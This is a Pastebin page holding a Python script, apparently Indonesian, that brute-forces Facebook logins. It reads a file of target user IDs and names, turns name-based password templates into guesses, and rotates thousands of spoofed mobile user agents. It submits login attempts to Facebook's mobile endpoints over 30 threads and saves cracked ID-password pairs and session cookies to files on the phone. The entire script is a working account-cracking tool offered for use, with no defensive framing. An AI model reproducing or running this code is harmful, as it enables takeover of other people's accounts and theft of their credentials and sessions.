OBF-XIn

112.215.172.176-/sdcard/joswifi.py.py

Jun 25th, 2023
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 17.57 KB | None | 0 0
  1. #SCTIPT OPEN SOURCE BY SM
  2. #GITHUB : github.com/TEAM-SM
  3. #RICODE BY CyxXionXr
  4. #[ IMPORT MODULE ]
  5. from os import path
  6. import os,base64,zlib,pip,urllib,time,random,requests
  7. from bs4 import BeautifulSoup as sop
  8. from bs4 import BeautifulSoup
  9. from bs4 import BeautifulSoup as sop
  10. from bs4 import BeautifulSoup as parser
  11. from concurrent.futures import ThreadPoolExecutor as tred
  12. from rich.tree import Tree
  13. from rich import print as cetak
  14. from rich.panel import Panel as panel
  15. try:
  16.         import os,requests,json,time,re,random,sys,uuid,string,subprocess
  17.         from string import *
  18.         from concurrent.futures import ThreadPoolExecutor as tred
  19. except ModuleNotFoundError:
  20.         os.system(f'pip install requests futures==2 > /dev/null')
  21.         os.system('git pull')
  22. except:pass
  23. fbks=(f'com.facebook.adsmanager','com.facebook.lite','com.facebook.orca','com.facebook.katana','com.facebook.mlite')
  24. #[ USER UGENT ]#
  25.  
  26.  
  27.  
  28. ugen=[]
  29. ugen2=[]
  30.  
  31.  
  32.  
  33.  
  34.  
  35. for xd in range(10000):
  36.     a='Mozile 5.0 (Linux; Android '
  37.     b=random.randrange(1, 9)
  38.     c=random.randrange(1, 9)
  39.     d='SAMSUNG SM-s901B Build/PPR1.180610.11wv)'
  40.     e=random.randrange(100, 9999)
  41.     f='Applewebkit/537. 36 (KHTML, Like Gecko) version/4.0 Chrome/'
  42.     g=random.randrange(1, 9)
  43.     h=random.randrange(1, 4)
  44.     i=random.randrange(1, 4)
  45.     j=random.randrange(1, 4)
  46.     k='Mobile Safari/537.36'
  47.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  48.     ugen.append(uaku)
  49.    
  50.     a='Mozilla/5.0 (Linux; Android '
  51.     b=random.randrange(1, 15)
  52.     c=random.randrange(1, 15)
  53.     d='moto g stylus 5G (2022) Build/S2SDS32.21-85-3-2-1-1; wv)'
  54.     e=random.randrange(100, 9999)
  55.     f='AppleWebKit/537.36 (KHTML, Like Gecko) version/4.0 Chrome/'
  56.     g=random.randrange(1, 9)
  57.     h=random.randrange(1, 4)
  58.     i=random.randrange(1, 4)
  59.     j=random.randrange(1, 4)
  60.     k='Mobile Safari/537.36'
  61.     uakuh=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  62.     ugen.append(uakuh)
  63.    
  64.     a='Mozilla/5.0 (Linux; Android '
  65.     b=random.randrange(1, 15)
  66.     c=random.randrange(1, 15)
  67.     d='Infinix X5514D Build/O11019; wv)D873A)'
  68.     e=random.randrange(100, 9999)
  69.     f='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  70.     g=random.randrange(1, 9)
  71.     h=random.randrange(1, 4)
  72.     i=random.randrange(1, 4)
  73.     j=random.randrange(1, 4)
  74.     k='Mobile Safari/537.36[FBAN/EMA;FBLC/ar_AR;FBAV/347.0.0.17'
  75.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  76.     ugen.append(uaku)
  77.  
  78.  
  79.  
  80. for agenku in range(10000):
  81.     a=random.choice(['8.0.0','6.0.1','7.1.1','8.1.0'])
  82.     b=random.choice(['8.0.0','6.0.1','7.1.1','8.1.0'])
  83.     c=random.randrange(73,100)
  84.     d=random.randrange(4200,4900)
  85.     e=random.randrange(40,150)
  86.     uaku=f'Dalvik/1.6.0 (Linux; U; Android {a}; SM-A720F Build/R16NW){b}) [FBAN/Orca-Android;FBAV/196.0.0.29.99;FBPN/com.facebook.orca;FBLC/th_TH;FBBV/{c}.0.{d}.{e};FBCR/AIS;FBMF/samsung;FBBD/samsung;FBDV/SM-A720F;FBSV/8.0.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
  87.     ugen.append(uaku)  
  88.    
  89.     a=random.choice(['4.0.4','6.0.1','7.1.1','8.1.0'])
  90.     b=random.choice(['4.0.4','6.0.1','7.1.1','8.1.0'])
  91.     c=random.randrange(73,100)
  92.     d=random.randrange(4200,4900)
  93.     e=random.randrange(40,150)
  94.     uakuh=f'Dalvik/1.6.0 (Linux; U; Android {a}; GT-I9300 Build/IMM76D) [FBAN/Orca-Android;FBAV/5.0.0.16.1;FBLC/tr_TR;FBBV/{c}.0.{d}.{e};FBCR/T-Mobile;FBMF/samsung;FBBD/samsung;FBDV/GT-I9300;FBSV/4.0.4;FBCA/armeabi-v7a:armeabi;FBDM/:'+'{density=1.0,width=1066,height=552};]'
  95.     ugen.append(uakuh)
  96.    
  97.     a=random.choice(['5.1.1','6.0.1','7.1.1','8.1.0'])
  98.     b=random.choice(['5.1.1','6.0.1','7.1.1','8.1.0'])
  99.     c=random.randrange(73,100)
  100.     d=random.randrange(4200,4900)
  101.     e=random.randrange(40,150)
  102.     uaku=f'Dalvik/1.6.0 (Linux; U; Android {a}; SM-J320F Build/LMY47V){b}) [FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{c}.0.{d}.{e};FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-J320F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
  103.     ugen.append(uaku)
  104.    
  105.     a=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
  106.     b=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
  107.     c=random.randrange(73,100)
  108.     d=random.randrange(4200,4900)
  109.     e=random.randrange(40,150)
  110.     uaku=f'Dalvik/2.1.0 (Linux; U; Android {a}; SM-G900F Build/LRX21T){b}) [FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{c}.0.{d}.{e};FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-G900F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
  111.     ugen.append(uaku)
  112.    
  113.     a=random.choice(['9','10','11','12','13','14','15'])
  114.     b=random.choice(['9','10','11','12','13','14','15'])
  115.     c=random.randrange(73,100)
  116.     d=random.randrange(4200,4900)
  117.     e=random.randrange(40,150)
  118.     uaku=f'Mozilla/5.0 (iPhone {a}; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/{b}) (KHTML, like Gecko) Mobile/15E302 [FBAN/MessengerForiOS;FBAV/167.0.0.57.96;FBBV/{c}.0.{d}.{e};FBDV/iPhone7,1;FBMD/iPhone;FBSN/iOS;FBSV/11.3.1;FBSS/3;FBCR/Telstra;FBID/phone;FBLC/en_GB;FBOP/5;FBRV/0]'
  119.     ugen.append(uaku)
  120.  
  121.            
  122.                
  123. for xd in range(10000):
  124.     aa='Mozilla/5.0 (Linux; Android '
  125.     b=random.choice(['6','7','8','9','10','11','12'])
  126.     c='moto g stylus 5G (2022) Build/S2SDS32.21-85-3-2-1-1; wv)'
  127.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  128.     e=random.randrange(1, 999)
  129.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  130.     g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.5735.24'
  131.     h=random.randrange(73,100)
  132.     i='0'
  133.     j=random.randrange(4200,4900)
  134.     k=random.randrange(40,150)
  135.     l='Mobile Safari/537.36'
  136.     uaku2=(f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}')
  137.     ugen2.append(uaku2)
  138.    
  139.     aa='Mozilla/5.0 (Linux; Android'
  140.     b=random.choice(['6','7','8','9','10','11','12'])
  141.     c='Infinix X655D Build/QP1A.190711.020; wv)'
  142.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  143.     e=random.randrange(1, 999)
  144.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  145.     g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  146.     h=random.randrange(73,100)
  147.     i='0'
  148.     j=random.randrange(4200,4900)
  149.     k=random.randrange(40,150)
  150.     l='Mobile Safari/537.36'
  151.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  152.     ugen2.append(uaku2)
  153.    
  154.     aa='Mozilla/5.0 (Linux; Android'
  155.     b=random.choice(['6','7','8','9','10','11','12'])
  156.     c='Infinix X5514D Build/O11019; wv)D873A)'
  157.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  158.     e=random.randrange(1, 999)
  159.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  160.     g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.4273.76'
  161.     h=random.randrange(73,100)
  162.     i='0'
  163.     j=random.randrange(4200,4900)
  164.     k=random.randrange(40,150)
  165.     l='Mobile Safari/537.36[FBAN/EMA;FBLC/ar_AR;FBAV/347.0.0.17'
  166.     uaku2=(f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}')
  167.     ugen2.append(uaku2)
  168.    
  169.                
  170.                                        
  171. RED = '\033[1;91m'
  172. WHITE = '\033[1;97m'
  173. GREEN = '\033[1;32m' #
  174. YELLOW = '\033[1;33m'
  175. BLUE = '\033[1;34m'
  176. ORANGE = '\033[1;35m'
  177. P = '\x1b[1;97m' # PUTIH
  178. M = '\x1b[1;91m' # MERAH
  179. H = '\x1b[1;92m' # HIJAU
  180. K = '\x1b[1;93m' # KUNING
  181. B = '\x1b[1;94m' # BIRU
  182. U = '\x1b[1;95m' # UNGU
  183. O = '\x1b[1;96m' # BIRU MUDA
  184. N = '\x1b[0m'    # WARNA MATI
  185. A = '\x1b[1;90m' # WARNA ABU ABU
  186. BN = '\x1b[1;107m' # BELAKANG PUTIH
  187. BBL = '\x1b[1;106m' # BELAKANG BIRU LANGIT
  188. BP = '\x1b[1;105m' # BELAKANG PINK
  189. BB = '\x1b[1;104m' # BELAKANG BIRU
  190. BK = '\x1b[1;103m' # BELAKANG KUNING
  191. BH = '\x1b[1;102m' # BELAKANG HIJAU
  192. BM = '\x1b[1;101m' # BELAJANG MERAH
  193. BA = '\x1b[1;100m' # BELAKANG ABU ABU
  194.  
  195.  
  196.  
  197. def kopi():
  198.         print(f'{M}---------------------------{P}')
  199. def bra_bann(berjalan):
  200.         for gas in berjalan + "\n":sys.stdout.write(gas);sys.stdout.flush();time.sleep(0.01)       
  201. logo =                                          """
  202. ______               ___ ___ __              
  203. |      |.--.--.--.--.|   |   |__|.-----.-----.
  204. |   ---||  |  |_   _||-     -|  ||  _  |     |
  205. |______||___  |__.__||___|___|__||_____|__|__|
  206.        |_____|                              
  207. """
  208. def linex():
  209.         kopi()
  210. def clear():
  211.         os.system('clear')
  212.         print(f'\x1b[1;97m')
  213.         print(logo)        
  214. loop=0
  215. oks=[]
  216. cps=[]
  217. krk=[]
  218. id=[]
  219. tokenku=[]
  220. os.system('git pull')
  221.  
  222.  
  223.  
  224. def CyxXion():
  225.     clear()
  226.    
  227.     print(f" [\033[1;31m01\033[1;37m] CRACK FILE CLONE")
  228.     print(f" [\033[1;31m00\033[1;37m] Exit")
  229.     me=input(f'\n\n [\033[1;32m•\033[1;37m] Choice : ')
  230.    
  231.     if me in ["1", "01","11","A","a"]:
  232.         clear()
  233.         cetak(panel(f"JIKA INGIN MENGGUNAKAN FITUR INI, ANDA HARUS MEMILIKI FILE DUMP TERLEBIH DAHULU, KALAU SUDAH MEMILIKI FILE DUMP, SILAKAN MASUKAN FILE DUMP TERSEBUT DI BAWAH INI SESUAI TEMPAT ANDA MENYIMPAN FILE TERSEBUT, CONTOH ; /sdcard/KALL-DUMP/IDTarget.txt",width=70,title=f"[bold red]INFORMASI",style=f"bold white"))
  234.         file = input('\n [\033[1;31m+\033[1;37m] MASUKAN FILE : \033[1;31m')
  235.         try:
  236.             fo = open(file,'r').read().splitlines()
  237.         except FileNotFoundError:
  238.             print(f'\n [\033[1;31m×\033[1;37m] lokasi file tidak ditemukan ')
  239.             exit()
  240.         clear();print(f'\n [\033[1;31m01\033[1;37m] Method 1 \n [\033[1;31m02\033[1;37m] Method 2 ')
  241.         mthd=input(f'\n [\033[1;31m01\033[1;37m] Kembali : ')
  242.                
  243.         plist=[]
  244.         try:
  245.             clear();ps_limit = int(input(f'\n [\033[1;31m+\033[1;37m] Berapa Banyak Kata Sandi yang Ingin Anda Tambahkan ? \033[1;31m: '))
  246.         except:
  247.             ps_limit =1
  248.         clear();print(f'\n [\033[1;31m+\033[1;37m] Contoh : \033[1;31mfirst last,firtslast,first123 \033[1;37m\n')
  249.         for i in range(ps_limit):
  250.             plist.append(input(f' [\033[1;31m+\033[1;37m] Masukan Pw {i+1} :  '))
  251.         clear()
  252.         cx=('y')
  253.         if cx in ['n','N','no','NO','2']:
  254.             krk.append(f'n')
  255.         else:
  256.             krk.append(f'y')
  257.         with tred(max_workers=30) as crack_submit:
  258.             clear()
  259.             total_ids = str(len(fo))
  260.             cetak(panel(f"HASIL OTOMATIS TERSIMPAN MANUAL DI INTERNAL",width=47,title=f"[bold red]WARNING",style=f"bold white"))
  261.             print(f'[\033[1;31m+\033[1;37m] Login Url : {mthd}')
  262.             print(f'[\033[1;31m+\033[1;37m] Total Idz : {total_ids}')
  263.             print(f'[\033[1;31m+\033[1;37m] Hasil : CyxXion-OK.txt')
  264.             print(f'[\033[1;31m+\033[1;37m] Hasil : CyxXion-CP.txt')
  265.             linex()
  266.             for user in fo:
  267.                 ids,names = user.split('|')
  268.                 passlist = plist
  269.                 if mthd in ['1','01']:
  270.                     crack_submit.submit(freefb,ids,names,passlist)
  271.                 elif mthd in ['2','02']:
  272.                     crack_submit.submit(mobilefb,ids,names,passlist)
  273.                 elif mthd in ['3','03']:
  274.                     crack_submit.submit(m3,ids,names,passlist)
  275.                 elif mthd in ['4','04']:
  276.                     crack_submit.submit(m4,ids,names,passlist)
  277.                    
  278.                                                                                                                                                                    
  279. def freefb(ids,names,passlist):
  280.         global loop,oks,cps
  281.         sys.stdout.write(f'\r\r\033[1;37m [ CracKers ] \033[1;31m|\033[1;37m %s \033[1;31m|\033[1;37m OK \033[1;31m|\033[1;37m [\033[1;32m%s\033[1;37m]'%(loop,len(oks)));sys.stdout.flush()
  282.         session = requests.Session()
  283.         try:
  284.                 first = names.split(f' ')[0]
  285.                 try:
  286.                         last = names.split(f' ')[1]
  287.                 except:
  288.                         last = 'khan','sanam'
  289.                 ps = first.lower()
  290.                 ps2 = last.lower()
  291.                 for fikr in passlist:
  292.                         pas = fikr.replace(f'First',first).replace(f'Last',last).replace(f'first',ps).replace(f'last',ps2)
  293.                         ua=random.choice(ugen)
  294.                         head = {'Host': 'm.alpha.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','accept-language': 'en-US,en;q=0.9','cache-control': 'max-age=0','sec-ch-ua': '"Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','sec-fetch-dest': 'document','sec-fetch-mode': 'navigate','sec-fetch-site': 'none','sec-fetch-user': '?1','upgrade-insecure-requests': '1','user-agent':ua,'viewport-width': '980',}
  295.                         getlog = session.get(f'https://free.facebook.com/login/device-based/password/?uid={ids}&flow=login_no_pin&refsrc=deprecated&_rdr')
  296.                         idpass ={"lsd":re.search(f'name="lsd" value="(.*?)"', str(getlog.text)).group(1),"jazoest":re.search(f'name="jazoest" value="(.*?)"', str(getlog.text)).group(1),"uid":ids,"next":"https://mbasic.facebook.com/login/save-device/","flow":"login_no_pin","pass":pas,}
  297.                         complete = session.post(f'https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=idpass,allow_redirects=False,headers=head)
  298.                         CyxXion=session.cookies.get_dict().keys()
  299.                         if "c_user" in CyxXion:
  300.                                
  301.                                 coki=";".join([key+"="+value for key,value in session.cookies.get_dict().items()])
  302.                                 cid = coki[7:22]
  303.                                 tree = Tree('')
  304.                                 tree.add(f'\r\r\%s \033[1;36m|\033[1;37m\033[1;32m %s'%(ids,pas))
  305.                                 tree.add(f"\033[1;31m{ua}")
  306.                                 tree.add(f"\033[1;32m{coki}")
  307.                                 cetak(tree)                                    
  308.                                 open(f'/sdcard/CyxXion-OK.txt', 'a').write(ids+'|'+pas+'\n')
  309.                                 oks.append(ids)
  310.                                
  311.                                 break
  312.                        
  313.                         elif 'checkpoint' in CyxXion:
  314.                                 if 'y' in krk:
  315.                                         tree = Tree('')
  316.                                         print(f'\r\r\033[1;32m[CyxXion\033[1;36m-\033[1;37m\033[1;32mCP] %s \033[1;36m|\033[1;37m\033[1;32m %s '+ids+' | '+pas+'\033[1;91m')
  317.                                         tree.add(f"\033[1;31m{ua}")
  318.                                         open(f'/sdcard/CyxXion-CP.txt', 'a').write(ids+'|'+pas+'\n')
  319.                                         tree.add(f"{ua}")
  320.                                         cps.append(ids)
  321.                                         break
  322.                                 else:
  323.                                         break
  324.                         else:
  325.                                 continue
  326.         except requests.exceptions.ConnectionError:
  327.                 time.sleep(10)
  328.         loop+=1
  329.                        
  330.  
  331. def mobilefb(ids,names,passlist):
  332.         global loop,oks,cps
  333.         sys.stdout.write(f'\r\r\033[1;37m [ CracKers ] \033[1;31m|\033[1;37m %s \033[1;31m|\033[1;37m OK \033[1;31m|\033[1;37m [\033[1;32m%s\033[1;37m]'%(loop,len(oks)));sys.stdout.flush()
  334.         session = requests.Session()
  335.         try:
  336.                 first = names.split(f' ')[0]
  337.                 try:
  338.                         last = names.split(f' ')[1]
  339.                 except:
  340.                         last = 'khan','sanam'
  341.                 ps = first.lower()
  342.                 ps2 = last.lower()
  343.                 for fikr in passlist:
  344.                         pas = fikr.replace(f'First',first).replace(f'Last',last).replace(f'first',ps).replace(f'last',ps2)
  345.                         ua=random.choice(ugen)
  346.                         head = {'Host': 'm.facebook.com', 'viewport-width': '980', 'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"', 'sec-ch-ua-mobile': '?1', 'sec-ch-ua-platform':'"Windows"', 'sec-ch-prefers-color-scheme': 'light', 'dnt': '1', 'upgrade-insecure-requests': '1', 'user-agent': ua, 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'sec-fetch-site': 'none', 'sec-fetch-mode': 'navigate', 'sec-fetch-user': '?1', 'sec-fetch-dest': 'document', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'en-US,en;q=0.9'}
  347.                         getlog = session.get(f'https://m.facebook.com/login/device-based/password/?uid={ids}&flow=login_no_pin&refsrc=deprecated&_rdr')
  348.                         idpass ={"lsd":re.search(f'name="lsd" value="(.*?)"', str(getlog.text)).group(1),"jazoest":re.search(f'name="jazoest" value="(.*?)"', str(getlog.text)).group(1),"uid":ids,"next":"https://mbasic.facebook.com/login/save-device/","flow":"login_no_pin","pass":pas,}
  349.                         complete = session.post(f'https://m.facebook.com/login/device-based/validate-password/?shbl=0',data=idpass,allow_redirects=False,headers=head)
  350.                         CyxXion=session.cookies.get_dict().keys()
  351.                         if "c_user" in CyxXion:
  352.                                 print(f'\r\r\033[1;32m[CyxXion\033[1;36m-\033[1;37m\033[1;32mOK] %s \033[1;36m|\033[1;37m\033[1;32m %s'%(ids,pas))
  353.                                
  354.                                 open(f'/sdcard/CyxXion_OK.txt', 'a').write(ids+'|'+pas+'\n')
  355.                                 oks.append(ids)
  356.                                
  357.                                 break
  358.                        
  359.                         elif 'checkpoint' in CyxXion:
  360.                                 if 'y' in krk:
  361.                                         print(f'\r\r\033[1;32m[CyxXion\033[1;36m-\033[1;37m\033[1;32mCP] %s \033[1;36m|\033[1;37m\033[1;32m %s '+ids+' | '+pas+'\033[1;91m')
  362.                                         open(f'/sdcard/CyxXion-CP.txt', 'a').write(ids+'|'+pas+'\n')
  363.                                         cps.append(ids)
  364.                                         break
  365.                                 else:
  366.                                         break
  367.                         else:
  368.                                 continue
  369.         except requests.exceptions.ConnectionError:
  370.                 time.sleep(10)
  371.         loop+=1
  372.  
  373. CyxXion()
  374.  
Add Comment
Please, Sign In to add comment